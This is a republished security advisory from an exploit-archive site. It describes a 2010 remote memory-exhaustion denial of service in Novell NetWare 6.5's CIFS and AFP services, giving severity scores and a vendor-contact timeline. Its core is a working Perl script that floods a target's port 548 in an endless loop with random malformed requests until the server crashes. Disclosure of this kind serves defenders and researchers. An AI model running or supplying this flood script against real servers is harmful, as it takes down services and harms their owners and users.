Novell Netware CIFS And AFP Remote Memory Consumption DoS

2010.01.18
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

######################################################################## ############# Application:Novell Netware CIFS And AFP Remote Memory Consumption DoS Platforms:Novell Netware 6.5 SP8 Crash:YES Exploitation:Remote DoS Date:2009-12-21 Author:Francis Provencher (Protek Research Lab's) Blog:http://protekresearch.blogspot.com/ ######################################################################## ############# 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ######################################################################## ############# =============== 1) Introduction =============== Novell,Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ######################################################################## ############# ============================ 2) Report Timeline ============================ 2009-12-21 Vendor Contact 2009-12-22 Vendor Recontact 2009-12-29 Vendor Recontact 2010-01-05 Disclosure of this advisory ######################################################################## ############# ============================ 3) Technical details ============================ CIFS.nlm Semantic Agent (Build 163 MP) Version 3.27 November 13, 2008 AFPTCP.nlm Build 163 SP Version 3.27 November 13, 2008 The CIFS and AFP protocols have a memory consumption problem when their received lot's of malformed arbitrary requests on their respective services. Sending arbitrary crafted requests to these services will consumme all the memory available, create multiples abends and finally crash the whole server..... It could take couple of minutes to hours (Depend of the memory available on the server ). ######################################################################## ############# =========== 4) The Code =========== #!/usr/bin/perl # Found by Francis Provencher for Protek Research Lab's # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.h tml # use IO::Socket; use String::Random; $target= $ARGV[0]; $port = 548; $protocol = tcp; $maxsize = 666; $random= 0; if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 <target> \n"; exit; } while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit(); $rand= new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n"; $sock->send($random); close($sock); } ######################################################################## ############# (PRL-2009-27) __________________________________________________________________ Looking for the perfect gift? Give the gift of Flickr! http://www.flickr.com/gift/

References:

http://xforce.iss.net/xforce/xfdb/55389
http://www.vupen.com/english/advisories/2010/0041
http://www.securitytracker.com/id?1023400
http://www.securityfocus.com/bid/37616
http://www.securityfocus.com/archive/1/archive/1/508731/100/0/threaded
http://www.exploit-db.com/exploits/11009
http://secunia.com/advisories/38114
http://protekresearch.blogspot.com/2010/01/prl-cifsnlm-memory-consumption-denial.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top